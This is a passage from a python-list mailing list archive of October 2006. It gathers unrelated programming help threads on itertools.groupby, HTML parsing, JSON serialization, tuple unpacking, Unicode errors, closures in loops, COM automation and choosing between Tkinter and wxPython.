I realize that all of this is highly dependent on the libraries I use,
etc, but I'm just looking for general strategies to attack the problem
or someone to tell me that this is impossible.



From steven.bethard at gmail.com  Fri Oct  6 11:15:23 2006
From: steven.bethard at gmail.com (Steven Bethard)
Date: Fri, 06 Oct 2006 09:15:23 -0600
Subject: groupby and itemgetter
In-Reply-To: <slrneic7i0.5ci.bertle@rob.kph.tuwien.ac.at>
References: <slrneic7i0.5ci.bertle@rob.kph.tuwien.ac.at>
Message-ID: <euadncTYloeW7rvYnZ2dnUVZ_tidnZ2d@comcast.com>

Roman Bertle wrote:
> Hello,
> 
> there is an example how to use groupby in the itertools documentation
> (http://docs.python.org/lib/itertools-example.html):
> 
> # Show a dictionary sorted and grouped by value
>>>> from operator import itemgetter
>>>> d = dict(a=1, b=2, c=1, d=2, e=1, f=2, g=3)
>>>> di = sorted(d.iteritems(), key=itemgetter(1))
>>>> for k, g in groupby(di, key=itemgetter(1)):
> ...     print k, map(itemgetter(0), g)
> ...
> 1 ['a', 'c', 'e']
> 2 ['b', 'd', 'f']
> 3 ['g']
> 
> Now i wonder why itemgetter is used in this example. More
> straightforward is:
> 
>>>> d = dict(a=1, b=2, c=1, d=2, e=1, f=2, g=3)
>>>> di = sorted(d.iterkeys(), key=d.get)
>>>> for k, g in groupby(di, key=d.get):
> ...     print k, list(g)
> ...
> 1 ['a', 'c', 'e']
> 2 ['b', 'd', 'f']
> 3 ['g']
> 
> This code does not need the operator module, and its also faster (tested
> using timeit).

It looks like it's even faster if you drop the iterkeys() call and just 
write:

     di = sorted(d, key=d.get)

As to why itemgetter is used, I don't really know...

STeVe


From david.bear at asu.edu  Tue Oct  3 23:38:54 2006
From: david.bear at asu.edu (David Bear)
Date: Tue, 03 Oct 2006 20:38:54 -0700
Subject: understanding htmllib
Message-ID: <2095340.jb7ycSJnFA@teancum>

I'm trying to understand how to use the HTMLParser in htmllib but I'm not
seeing enough examples.

I just want to grab the contents of everything enclosed in a '<body>' tag,
i.e. items from where <body> begins to where </body> ends. I start by doing

class HTMLBody(HTMLParser):
   def __init__(self):
      self.contents = []

   def handle_starttag()..

Now I'm stuck. I cant see that there is a method on handle_starttag that
would return everthing to the end tag. And I haven't seen anything on how
to define my one handle_unknowntag..

Any pointers would be greatly appreciated. The documentation on this module
at python.org seems to assume a great deal about what the reader would
already know about which methods they should subclass.

-- 
David Bear
-- let me buy your intellectual property, I want to own your thoughts --


From bdesth.quelquechose at free.quelquepart.fr  Tue Oct 24 19:21:50 2006
From: bdesth.quelquechose at free.quelquepart.fr (Bruno Desthuilliers)
Date: Wed, 25 Oct 2006 01:21:50 +0200
Subject: Sending Dictionary via Network
In-Reply-To: <1161730229.556578.278020@f16g2000cwb.googlegroups.com>
References: <1161730229.556578.278020@f16g2000cwb.googlegroups.com>
Message-ID: <453e9ba0$0$3276$426a34cc@news.free.fr>

mumebuhi a ?crit :
> Hi,
> 
> Is it possible to send a non-string object from a Python program to
> another? I particularly need to send a dictionary over to the other
> program. However, this is not possible using the socket object's send()
> function.
> 
> Help?


>>> d = dict(one=1, two="three", question="life, universe, and everything")
 >>> import simplejson
 >>> s = simplejson.dumps(d)
 >>> s
'{"question": "life, universe, and everything", "two": "three", "one": 1}'
 >>> simplejson.loads(s) == d
True

http://cheeseshop.python.org/pypi/simplejson

If you *really* want to "share" objects between programs, there are way 
to do so (pyro comes to mind). But this gets more complicated...


From ashutosh.mishra at gmail.com  Fri Oct 13 13:37:26 2006
From: ashutosh.mishra at gmail.com (Ash)
Date: 13 Oct 2006 10:37:26 -0700
Subject: Enthought python - Traits
In-Reply-To: <1160689540.795369.67620@c28g2000cwb.googlegroups.com>
References: <1160680596.521987.110210@e3g2000cwe.googlegroups.com>
	<1160689540.795369.67620@c28g2000cwb.googlegroups.com>
Message-ID: <1160761046.187146.252840@f16g2000cwb.googlegroups.com>

Thanks Peter .. I will check out the mailing list. In the meanwhile - i
have made some progress. Now working out - how to get a button_fired
event to actually return the values ..

It's a process (as always..)

Cheers,

-A


Peter  Wang wrote:
> Ash wrote:
> > Hello everyone !
> >
> > I am trying to find some sort of a cookbook or more examples for using
> > Enthought Traits to build GUI's. I tried to follow the documentations
> > present at the enthought site, but couldnt get too far - especially on
> > how to handle a control event ?
>
> The traits manual is in the lib/site-packages/enthought/traits/doc
> directory, named Traits2_UM.doc/.pdf.  The traits UI manual/user guide
> is also in there.  However, what is not so obvious is that there is
> also an excellent, massive set of powerpoint slides (121 pages) that
> Dave Morrill put together that talks about the architecture of Traits
> UI, and how to build GUIs using it.  (Er, how to build them *well*,
> i.e. adhering to the M-V-C pattern and maximizing code reuse.)  Those
> slides are in traits_ui.ppt.
>
> > say i have a list "control" that create using the following two lines:
> >
> > class Project(HasTraits):
> > 	coordinate_system=Enum('Cartesian','Cylindrical')
> >
> > I added the following line to get the option selected by the user:
> >
> > def _coordinate_system_changed(self,old,new):
> >             print 'System changed from %s to %s ' %(old,new)
> >
> > but it does not return what the user select. It should return either 0
> > or 1 based on the two choices, but i can't seem to find a way to trap
> > that.
>
> The way that this works is that _coordinate_system_changed() gets
> called with the old value and the new value of self.coordinate_system.
> Thus, it doesn't "return" anything; your method is a "handler" method
> that gets called when the value of a particular trait gets changed.
>
> Why do you say it should return 0 or 1?  Do you mean that you want to
> get the index into the list of enumeration choices?  The Enum trait
> type is not quite like C in this regard.  In C/C++, enums are really
> ints; in traits, enums are lists of values of possibly mixed type.
>
> > I am relatively new to this GUI programming in Python and really could
> > use some tips/hints.
>
> No problem, hope the above helped.  You might want to email your
> questions to envisage-dev at enthought.com (and subscribe to it!).  That
> is the primary mailing list for several enthought libraries (including
> traits) and you'll get very speedy, in-depth answers to your questions
> there.
> 
> 
> -Peter



From johnjsal at NOSPAMgmail.com  Fri Oct 20 15:14:56 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Fri, 20 Oct 2006 19:14:56 GMT
Subject: why does this unpacking work
Message-ID: <Qe9_g.129$1n3.3113@news.tufts.edu>

I'm a little confused, but I'm sure this is something trivial. I'm 
confused about why this works:

 >>> t = (('hello', 'goodbye'),
      ('more', 'less'),
      ('something', 'nothing'),
      ('good', 'bad'))
 >>> t
(('hello', 'goodbye'), ('more', 'less'), ('something', 'nothing'), 
('good', 'bad'))
 >>> for x in t:
	print x

	
('hello', 'goodbye')
('more', 'less')
('something', 'nothing')
('good', 'bad')
 >>> for x,y in t:
	print x,y

	
hello goodbye
more less
something nothing
good bad
 >>>

I understand that t returns a single tuple that contains other tuples. 
Then 'for x in t' returns the nested tuples themselves.

But what I don't understand is why you can use 'for x,y in t' when t 
really only returns one thing. I see that this works, but I can't quite 
conceptualize how. I thought 'for x,y in t' would only work if t 
returned a two-tuple, which it doesn't.

What seems to be happening is that 'for x,y in t' is acting like:

for x in t:
     for y,z in x:
         #then it does it correctly

But if so, why is this? It doesn't seem like very intuitive behavior.

Thanks.


From sjmachin at lexicon.net  Tue Oct 10 17:32:59 2006
From: sjmachin at lexicon.net (John Machin)
Date: 10 Oct 2006 14:32:59 -0700
Subject: what is this UnicodeDecodeError:....?
In-Reply-To: <pan.2006.10.10.20.32.27.653212@gmx.net>
References: <1160504403.384348.253650@k70g2000cwa.googlegroups.com>
	<pan.2006.10.10.20.32.27.653212@gmx.net>
Message-ID: <1160515979.332472.223430@c28g2000cwb.googlegroups.com>


Marc 'BlackJack' Rintsch wrote:

> Because you are trying to compare a unicode string `val` with a byte
> string in the list. The unicode string will be converted to a byte string
> for this comparison with the default encoding: ASCII.

:-)

I presume you must live north of the equator. Down under, it seems to
happen the other way up -- the byte strings are decoded to unicode:

| >>> ['a', 'exotic1\xff', 'exotic2\xf3'].index(u'\xf3')
| Traceback (most recent call last):
|   File "<stdin>", line 1, in ?
| UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position
7: ordinal not in range(128)

(-:



From bj_666 at gmx.net  Thu Oct 26 04:18:59 2006
From: bj_666 at gmx.net (Marc 'BlackJack' Rintsch)
Date: Thu, 26 Oct 2006 10:18:59 +0200
Subject: Problem Commenting within Filehandle Iteration
References: <mailman.1248.1161848593.11739.python-list@python.org>
Message-ID: <pan.2006.10.26.08.18.55.987479@gmx.net>

In <mailman.1248.1161848593.11739.python-list at python.org>, Wijaya Edward
wrote:

>     if m:
>         print line,
>     else:
>         #print 'SPAM -- %s' % line
> myfile.close()
> 
> [?]
>
> Notice that I wanted to comment out the #print line there.
> However I found problem with myfile.close(), with identation error.
> This error doesn't occur when commenting (#) is not in use.
>  
> Why so?  Is there away to do the commenting in correct way
> under this circumstances?

There has to be code in the ``else`` block.  So either comment out the
``else`` line too, or insert a ``pass`` statement.

Ciao,
	Marc 'BlackJack' Rintsch


From http  Sat Oct 28 14:05:33 2006
From: http (Paul Rubin)
Date: 28 Oct 2006 11:05:33 -0700
Subject: stripping parts of elements in a list
References: <1162058434.823541.243860@h48g2000cwc.googlegroups.com>
Message-ID: <7xbqnwmi36.fsf@ruckus.brouhaha.com>

"CSUIDL PROGRAMMEr" <syedamjad_a at yahoo.com> writes:
> ['amjad\n', 'kiki\n', 'jijiji\n']
> I am trying to  get rid of '\n' after each name.
>  to get list as
> ['amjad','kiki','jijiji']
> 
> But list does not have a strip function as string does have.
> 
> is there any solutions

a = ['amjad\n', 'kiki\n', 'jijiji\n']

b = [x.strip() for x in a]

print b


From onurb at xiludom.gro  Mon Oct 16 14:12:33 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Mon, 16 Oct 2006 20:12:33 +0200
Subject: A friendlier, sugarier lambda -- a proposal for Ruby-like blocks
	in python
In-Reply-To: <1160992539.451117.143310@i42g2000cwa.googlegroups.com>
References: <1160801649.828388.319880@i3g2000cwc.googlegroups.com>
	<7xhcy72xm1.fsf@ruckus.brouhaha.com>
	<1160811657.449049.78940@m73g2000cwd.googlegroups.com>
	<1160843099.978973.235560@k70g2000cwa.googlegroups.com>
	<45335619$0$12918$426a34cc@news.free.fr>
	<1160992539.451117.143310@i42g2000cwa.googlegroups.com>
Message-ID: <4533cb98$0$15235$426a74cc@news.free.fr>

Kay Schluehr wrote:
> Bruno Desthuilliers wrote:
> 
>> Just for the record : Ruby's code-blocks (closures, really) come from
>> Smalltalk, which is still the OneTrueObjectLanguage(tm).
> 
> IsTheOneTrueObjectLanguage(tm)ReallyCamelCased?
> 
ThatsAGoodQuestion.

DoYouMeanIsTheIdentifierTheOneTrueObjectLanguage(tm)CamelCasedOrIsTheObjectObjectBoundToIdentifierTheOneTrueObjectLanguage(tm)CamelCasedOrYetSomethingElse?

-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From mail at microcorp.co.za  Tue Oct 17 00:44:47 2006
From: mail at microcorp.co.za (Hendrik van Rooyen)
Date: Tue, 17 Oct 2006 06:44:47 +0200
Subject: Can I set up a timed callback without Tkinter or twisted
	orsomething?
References: <mailman.512.1160840172.11739.python-list@python.org>
	<45310353$1@nntp0.pdx.net> <00c601c6f027$e8e74820$03000080@hendrik>
	<17714.10361.631525.397958@montanaro.dyndns.org>
Message-ID: <000601c6f1a6$fa279100$03000080@hendrik>


<skip at pobox.com> wrote:

> 
>     Hendrik> is there not something based on signals?  - I seem to recall
>     Hendrik> some such thing here in another thread.. ( I am running Linux)
> 
> Have you tried:
> 
>     import signal
>     help(signal)
> 
> at the interpreter prompt?
> 
> Skip

*blush* - actually, no - I was looking for signals...

- Hendrik



From johnjsal at NOSPAMgmail.com  Wed Oct 25 15:24:35 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Wed, 25 Oct 2006 19:24:35 GMT
Subject: question about True values
In-Reply-To: <mailman.1194.1161804144.11739.python-list@python.org>
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<mailman.1194.1161804144.11739.python-list@python.org>
Message-ID: <TRO%g.157$1n3.3672@news.tufts.edu>

Robert Kern wrote:

> They are, indeed, quite different things. Finding the truth value of an 
> object is not the same thing as testing if the object is equal to the 
> object True.

Yeah, I had this in the back of my mind, but I was thinking that this 
test would be written as

if s is True

And I know that one is very different from the others.


From carsten at uniqsys.com  Fri Oct 20 15:37:40 2006
From: carsten at uniqsys.com (Carsten Haese)
Date: Fri, 20 Oct 2006 15:37:40 -0400
Subject: why does this unpacking work
In-Reply-To: <Qe9_g.129$1n3.3113@news.tufts.edu>
References: <Qe9_g.129$1n3.3113@news.tufts.edu>
Message-ID: <1161373060.23516.67.camel@dot.uniqsys.com>

On Fri, 2006-10-20 at 15:14, John Salerno wrote:
> I'm a little confused, but I'm sure this is something trivial. I'm 
> confused about why this works:
> 
>  >>> t = (('hello', 'goodbye'),
>       ('more', 'less'),
>       ('something', 'nothing'),
>       ('good', 'bad'))
>  >>> t
> (('hello', 'goodbye'), ('more', 'less'), ('something', 'nothing'), 
> ('good', 'bad'))
>  >>> for x in t:
> 	print x
> 
> 	
> ('hello', 'goodbye')
> ('more', 'less')
> ('something', 'nothing')
> ('good', 'bad')
>  >>> for x,y in t:
> 	print x,y
> 
> 	
> hello goodbye
> more less
> something nothing
> good bad
>  >>>
> 
> I understand that t returns a single tuple that contains other tuples. 

t doesn't "return" anything, t *is* a nested tuple.

> Then 'for x in t' returns the nested tuples themselves.

It again doesn't "return" anything. It assigns each element of tuple t
to x, one by one, executing the loop body for each element.

> But what I don't understand is why you can use 'for x,y in t' when t 
> really only returns one thing. I see that this works, but I can't quite 
> conceptualize how. I thought 'for x,y in t' would only work if t 
> returned a two-tuple, which it doesn't.

You're thinking of "x,y = t".

> What seems to be happening is that 'for x,y in t' is acting like:
> 
> for x in t:
>      for y,z in x:
>          #then it does it correctly

No, it's actually behaving like

for x in t:
  y,z = t
  # do something with y and z

You seem to have difficulty distinguishing the concept of looping over a
tuple from the concept of unpacking a tuple. This difficulty is
compounded by the fact that, in your example above, you are looping over
a tuple of tuples and unpacking each inner tuple on the fly.

Hope this helps,

Carsten.




From outstretchedarm at hotmail.com  Fri Oct 27 15:21:12 2006
From: outstretchedarm at hotmail.com (Omar)
Date: 27 Oct 2006 12:21:12 -0700
Subject: "Music Theory Programming" Google Group
Message-ID: <1161976872.726877.200380@i3g2000cwc.googlegroups.com>

I've been learning some programming during my little sabbatical (mostly
python), and I thought it'd be cool to see if other people are
interested in programming for music theory.  So I started a Music
Theory Programming google group.  Consider yourselves invited!  It'll
be a place for people with different ideas to make music easier to
understand using computer applications to share and collab.

The address is:

http://groups.google.com/group/music-theory-programming

If you know how to do any language (HTML, Perl, Java, C++) etc or just
interested...see ya there!



From Eric_Dexter at msn.com  Thu Oct 26 08:59:56 2006
From: Eric_Dexter at msn.com (Eric_Dexter at msn.com)
Date: 26 Oct 2006 05:59:56 -0700
Subject: Get coordinates of a cell
In-Reply-To: <1161853246.226510.258340@m73g2000cwd.googlegroups.com>
References: <1161853246.226510.258340@m73g2000cwd.googlegroups.com>
Message-ID: <1161867595.991744.207450@i42g2000cwa.googlegroups.com>

I will give it a try if you have source code so that I can test it..

https://sourceforge.net/project/showfiles.php?group_id=156455&package_id=202823
http://www.dexrow.com


Teja wrote:
> I have a GUI application with a Frame and a grid in it. I want to popup
> a menu after the user enters some text in a cell and hits ENTER key. I
> was able to popup the menu. However the menu is not popping up exactly
> at the position where I want it. It should be popped up immediately
> after the cell in which the user has entered the text. To get the co
> ordinates I am using the function event.GetPosition(). Here event is
> wx.EVT_KEY_DOWN. Any pointers please?



From nogradi at gmail.com  Tue Oct  3 06:09:15 2006
From: nogradi at gmail.com (Daniel Nogradi)
Date: Tue, 3 Oct 2006 12:09:15 +0200
Subject: app with standalone gui and web interface
In-Reply-To: <1159863703.408329.274450@i3g2000cwc.googlegroups.com>
References: <mailman.1130.1159837251.10491.python-list@python.org>
	<1159863703.408329.274450@i3g2000cwc.googlegroups.com>
Message-ID: <5f56302b0610030309h3b6b392drb9bf9461c37d4207@mail.gmail.com>

> > What would the simplest way to make an application that has both a web
> > interface and runs from behind a web server but also can be used as a
> > standalone app with a gui? More precisely is it possible to avoid
> > creating an html/xml/whatever based web interface for the web version
> > and separately creating a gui (wxpython for example) for the
> > standalone version and instead create a graphical frontend at once
> > that can be used for both?
>
> I was experimenting with something roughly similar a couple of years
> ago. You might find it interesting. What I did may or may not work in
> your case. It depends on what you want to be able to do in the
> application.
>
> I built an application that consisted of some server side Java/JSPs
> that gave out XML. I used two stylesheets to transform the data into
> either HTML (for the web version) or another XML-format called wxWML
> (for the wxPython version). Desktop users accessed the application via
> a custom "webbrowser" that translates the wxWML to wxPython code which
> is executed to generate the GUI. This way, anyone with the wxBrowser
> installed could access the application as if it was a desktop app.
>
> But you should know that this was an experiment. We ended up not using
> it because it felt weird and because there was not much extra gain to
> be had from the desktop part. You should also know that the wxBrowser
> is a HUGE security hole which is a good reason not to use it.
>
> You can still download the code I wrote and a "tutorial" PDF from
> http://www.pulp.se/wx/ but I haven't touched it since last summer so
> I'm not sure it works with the latest version of wxPython. Also, I just
> noted that the example URL that I point to on that page doesn't work
> because I've moved my hosting since then, but that can be fixed.


Thanks for the suggestions, I'll look into both methods. Having a
local webserver seems pretty easy and convenient.

Johan, your way of doing it resembles XUL somewhat, although I can't
say I fully understand XUL I just took a look some days ago. Let me
see if I understand your approach:

If you want to have something very dynamical you do it the way you
described with the wxwml source getting parsed, converted to wxpython
and then run by python all at once. At the same time the webserver can
fetch the same wxwml source, convert it into html/xml and send that to
the web client. Now if one wants to bypass wxbrowser and the real time
conversion to wxpython, then, sacrificing some level of dynamicness,
why not convert the wxwml source 'statically' into wxpython, bundle
that as an app and at the same time convert it also to xml/html
'statically' and have that served by a webserver. In this way any time
the gui changes one needs to go through both convertions once, bundle
the desktop app again, update the webserver but there won't be any
security whole or any magic that is not pure python or not pure
html/xml. Does this sound reasonable or am I misunderstanding
something?

In fact something like that is the thing I'm looking for, some
language that can specify a gui and can be used to generate
'statically' both wxpython source (or some other widget set) or
html/xml source.


From onurb at xiludom.gro  Mon Oct 16 05:51:19 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Mon, 16 Oct 2006 11:51:19 +0200
Subject: A friendlier, sugarier lambda -- a proposal for Ruby-like blocks
	in python
In-Reply-To: <1160843099.978973.235560@k70g2000cwa.googlegroups.com>
References: <1160801649.828388.319880@i3g2000cwc.googlegroups.com>
	<7xhcy72xm1.fsf@ruckus.brouhaha.com>
	<1160811657.449049.78940@m73g2000cwd.googlegroups.com>
	<1160843099.978973.235560@k70g2000cwa.googlegroups.com>
Message-ID: <45335619$0$12918$426a34cc@news.free.fr>

Paul Boddie wrote:
> Kay Schluehr wrote:
>> Spreading tiny function definitions all over the code
>> may be finally not such a good idea compared with a few generic methods
>> that get just called? OO might run out of fashion these days but Python
>> is not Java and Pythons OO is pretty lightweight.
> 
> I think you've successfully identified a recent trend in Python
> development: the abandonment of fairly transparent object-oriented
> techniques in favour of more opaque but supposedly more convenient
> hybrid techniques. 

Just for the record : Ruby's code-blocks (closures, really) come from
Smalltalk, which is still the OneTrueObjectLanguage(tm).


-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From stephen at theboulets.net  Tue Oct  3 13:50:04 2006
From: stephen at theboulets.net (stephen at theboulets.net)
Date: 3 Oct 2006 10:50:04 -0700
Subject: Looping over a list question
Message-ID: <1159897804.722852.8160@i42g2000cwa.googlegroups.com>

I found myself writing:

for f in [i for i in datafiles if '.txt' in i]:
    print 'Processing datafile %s' % f

but I was wishing that I could have instead written:

for f in in datafiles if '.txt' in f:
    print 'Processing datafile %s' % f

Has there ever been a proposal for this? Just wondering ...

Stephen Boulet



From gagsl-py at yahoo.com.ar  Fri Oct  6 21:53:15 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Fri, 06 Oct 2006 22:53:15 -0300
Subject: Debugging question: Print out program state (Variables)
In-Reply-To: <d25b6e9a0610060853u1fdde8a6pa4b8a26979693b59@mail.gmail.co
 m>
References: <d25b6e9a0610060853u1fdde8a6pa4b8a26979693b59@mail.gmail.com>
Message-ID: <7.0.1.0.0.20061006224814.045c2d30@yahoo.com.ar>

At Friday 6/10/2006 12:53, Josh Bloom wrote:

>What I would like to do is write out the state of my script when an 
>error is encountered. I've been looking at the traceback module and 
>think Im on the right track, but I haven't figured out a way to 
>write out all of the programs current variables. Is there a handy 
>module that can do something like that?

Yes, look at the cgitb module (the name is a bit misleading...)


Gabriel Genellina
Softlab SRL 


	
	
		
__________________________________________________
Pregunt?. Respond?. Descubr?.
Todo lo que quer?as saber, y lo que ni imaginabas,
est? en Yahoo! Respuestas (Beta).
?Probalo ya! 
http://www.yahoo.com.ar/respuestas



From martin.witte at gmail.com  Thu Oct 19 02:47:25 2006
From: martin.witte at gmail.com (wittempj@hotmail.com)
Date: 18 Oct 2006 23:47:25 -0700
Subject: passing values to a program
In-Reply-To: <1161233577.817801.278720@k70g2000cwa.googlegroups.com>
References: <1161233577.817801.278720@k70g2000cwa.googlegroups.com>
Message-ID: <1161240445.397711.252220@i42g2000cwa.googlegroups.com>


Eric_Dexter at msn.com wrote:
> I almost have this thing running like I want it to run but I want
> the values to come from the program that calls this one.  There are two
> things I want to pass File_Name and CutString.  They both need to go to
> loadFile routine of Class WordGrid to replace constants.  Thank you for
> putting up with my quesitons in advance.
>
>
> import wx
> import wx.grid as gridlib
>
>
>
> #---------------------------------------------------------------------------
>
> class WordGrid(gridlib.Grid):
>     def __init__(self, parent, log):
>         gridlib.Grid.__init__(self, parent, -1)
>
>
>         self.loadFile()
>
>         self.CreateGrid(len(self.rows), self.widestRow)
>
>         for r, row in enumerate(self.rows):
>             for c, col in enumerate(row):
>                 self.SetCellValue(r, c, col)
>             self.SetColSize(c, 10*self.widestCol)
>
>         for c, label in enumerate(self.header):
>             self.SetColLabelValue(c, label)
>
>     def loadFile(self):
>        #from_file
>        infile = open('test.sco', 'r')
>        foundHeader = False
>        self.rows = []
>        for line in infile:
>            if ";<sco_header>" in line:
>                #removefirst = line.split(' ')
>                self.header = line.split()
>                #foundHeader = 'true'
>                continue     # we don't want to process this line any
> further
>            else:
>                self.rows.append(line.split())
>
>        self.widestRow = max([len(r) for r in self.rows])
>        self.widestCol = max([len(c) for c in [r for r in self.rows]])
>
>
>
> #---------------------------------------------------------------------------
>
> class TestFrame(wx.Frame):
>     def __init__(self, parent, log):
>         wx.Frame.__init__(self, parent, -1, "Simple Grid Demo",
> size=(640,480))
>         grid = WordGrid(self, log)
>
> #---------------------------------------------------------------------------
> #def main():
>
> def main(From_File, string):
>     import sys
>     From_file = argv[1]
>     #split_string = argv2[2]
>     app = wx.PySimpleApp()
>     frame = TestFrame(None, sys.stdout)
>     frame.Show(True)
>     app.MainLoop()
>     pass
>
> if __name__ == '__main__':
>     import sys
>     main('test.sco', 'sfd')
>
> http://www.dexrow.com

Try this code, save it in file called test.py

def main(From_File, string):
    print 'From_File: %s' % From_File
    print 'string: %s' % string

if __name__ == '__main__':
    import sys
    print 'command line'
    print sys.argv
    main(sys.argv[1], sys.argv[2])

    print 'hardcoded'
    main('test.sco', 'sfd')

H:\>test.py arg1 arg2
command line
['H:\\test.py', 'arg1', 'arg2']
From_File: arg1
string: arg2
hardcoded
From_File: test.sco
string: sfd

argv is in namespace sys, but you don't tell that. Also I would
consider using a none built in and less generic name for the argument
'string' you're using.



From apardon at forel.vub.ac.be  Fri Oct  6 05:21:11 2006
From: apardon at forel.vub.ac.be (Antoon Pardon)
Date: 6 Oct 2006 09:21:11 GMT
Subject: What value should be passed to make a function use the default
	argument value?
References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com>
	<7xwt7gqwb3.fsf@ruckus.brouhaha.com>
	<slrnei7235.55m.apardon@rcpc42.vub.ac.be>
	<7xac4cpefr.fsf@ruckus.brouhaha.com>
	<slrnei73f7.55m.apardon@rcpc42.vub.ac.be>
	<eg03un$se8$1@news.albasani.net>
	<slrnei75t2.55m.apardon@rcpc42.vub.ac.be>
	<7xhcyk2u1z.fsf@ruckus.brouhaha.com>
	<eg17jd$gsr$1@news.albasani.net>
	<mailman.1295.1159996151.10491.python-list@python.org>
	<slrneic180.55m.apardon@rcpc42.vub.ac.be>
	<mailman.1431.1160125174.10491.python-list@python.org>
Message-ID: <slrneic807.55m.apardon@rcpc42.vub.ac.be>

On 2006-10-06, Fredrik Lundh <fredrik at pythonware.com> wrote:
> Antoon Pardon wrote:
>
>> Is this general rules documeted somewhere? My impression is that readers
>> of the documentation will treat arguments as keyword arguments unless
>> this is explicitly contradicted.
>
> Sorry, I missed that this was comp.lang.python.alternate.reality.  My 
> mistake.
>

A personal attack won't make my argument go away. It also doesn't
answer my question.

-- 
Antoon Pardon


From fredrik at pythonware.com  Sat Oct 28 22:08:07 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sun, 29 Oct 2006 03:08:07 +0100
Subject: Name bindings for inner functions.
In-Reply-To: <1162072141.571008.296670@h48g2000cwc.googlegroups.com>
References: <1162072141.571008.296670@h48g2000cwc.googlegroups.com>
Message-ID: <ei12e7$euh$2@sea.gmane.org>

trevor_morgan at yahoo.com wrote:

> The following code:
> 
> def functions():
>     l=list()
>     for i in range(5):
>         def inner():
>             return i
>         l.append(inner)
>     return l
> 
> 
> print [f() for f in functions()]
> 
> 
> returns [4,4,4,4,4], rather than the hoped for [0,1,2,3,4].  I presume
> this is something to do with the variable i getting re-bound every time
> we go through the loop

free variables bind to *names*, not objects.  all your functions will 
refer to the name "i" in "function"'s scope, which is bound to a 4 when 
the loop has finished.

you can use the default argument mechanism to explicitly bind to an 
object instead of a name:

def functions():
     l=list()
     for i in range(5):
         def inner(i=i):
             return i
         l.append(inner)
     return l

</F>



From tejovathi.p at gmail.com  Tue Oct 17 09:32:55 2006
From: tejovathi.p at gmail.com (Teja)
Date: 17 Oct 2006 06:32:55 -0700
Subject: COM Error -- Urgent help
In-Reply-To: <mailman.626.1161076219.11739.python-list@python.org>
References: <1161060922.492588.250930@f16g2000cwb.googlegroups.com>
	<1161071939.165951.221510@i42g2000cwa.googlegroups.com>
	<mailman.626.1161076219.11739.python-list@python.org>
Message-ID: <1161091975.021955.159140@m73g2000cwd.googlegroups.com>

This is the trae back ,can you help me please.....

Traceback (most recent call last):
  File "C:\Documents and Settings\dzxbrn\Desktop\Stop Test\13
Oct\MainThread.py", line 13, in threadFunction
    obj.MyNavigate(dest)          # this is gving an error.
  File "C:\Documents and Settings\dzxbrn\Desktop\Stop Test\13
Oct\GenericFunctions.py", line 9, in MyNavigate
    ie.Navigate(dest)
  File "C:\Python24\Lib\site-packages\win32com\client\dynamic.py", line
489, in __getattr__
    raise AttributeError, "%s.%s" % (self._username_, attr)
AttributeError: internetexplorer.application.Navigate
None
Fredrik Lundh wrote:
> Teja wrote:
>
> > s=pythoncom.CoMarshalInterThreadInterfaceInStream(pythoncom.IID_IDispatch,i??e)
> >
> >        thread.start_new_thread(self.nav, (s,'www.google.com')
> >
> > I am getting an attribute error
>
> the traceback tells you what attribute Python was looking for, and may also provide
> additional clues.  can you post the traceback too?  make sure you include all of it.
> 
> </F>



From jstroud at mbi.ucla.edu  Thu Oct 19 16:34:26 2006
From: jstroud at mbi.ucla.edu (James Stroud)
Date: Thu, 19 Oct 2006 20:34:26 GMT
Subject: Tkinter--does anyone use it for sophisticated GUI development?
In-Reply-To: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET>
References: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET>
Message-ID: <mjRZg.12486$TV3.3350@newssvr21.news.prodigy.com>

Kevin Walzer wrote:
> I'm a Tcl/Tk developer who has been working, slowly, at learning Python,
> in part because Python has better support for certain kinds of
> applications that I want to develop than Tcl/Tk does. Naturally, I
> thought that I would use Tkinter as the GUI for these programs. However,
> in doing research into GUI development techniques, sample code, and
> showcase applications, what has struck me is how little sophisticated
> GUI development seems to be done in Tkinter as compared to, say,
> wxPython. I've found plenty of tutorials on how to do basic GUI stuff
> with Tkinter, but that stuff pretty much ends with the core Tk widgets
> (buttons, entry fields, scrollbars, and menu items).
> 
> Coming from Tcl/Tk, where there are a huge number of extension packages
> to enhance the Tk widgets and which allow you to make really polished
> GUI's, I'm struck mainly by how little of this stuff has made it over
> into Tkinter/Python. For instance, I've developed several Tcl
> applications that use the core Tk widgets, the Tile theming package, the
> Bwidget set (great tree widget and listbox, which allows you to embed
> images), and tablelist (an extremely flexible muti-column listbox
> display). I've found Python wrappers for some of this stuff, but almost
> no documentation on how to use them, and very little in the way of
> actual applications making use of them--which is itself a red flag. And
> most of the pure-Python extension stuff that I've found, such as Python
> megawidgets, is pretty dated/ugly and lags far behind the comparable
> stuff on the Tcl side.
> 
> Am I better off biting the bullet and learning wxPython--a different GUI
> paradigm to go with the new language I'm trying to learn? I had hoped to
> reduce my learning curve, but I'm very concerned that I simply can't do
> what I want to do with Tkinter. What do other Tkinter developers think?

Its used in pymol. Also, look at my modest program at passerby.sf.net. 
Not so sophisticated, but not completely simple either.

James


-- 
James Stroud
UCLA-DOE Institute for Genomics and Proteomics
Box 951570
Los Angeles, CA 90095

http://www.jamesstroud.com/


From claird at lairds.us  Wed Oct  4 18:59:26 2006
From: claird at lairds.us (Cameron Laird)
Date: Wed, 4 Oct 2006 22:59:26 +0000
Subject: Where is Python in the scheme of things?
References: <I4GdnY3G96ZZirnYnZ2dnUVZ_uidnZ2d@magma.ca>
	<HYUUg.9767$e66.2790@newssvr13.news.prodigy.com>
Message-ID: <evqdv3-ibt.ln1@lairds.us>

In article <HYUUg.9767$e66.2790 at newssvr13.news.prodigy.com>,
James Stroud  <jstroud at mbi.ucla.edu> wrote:
			.
			.
			.
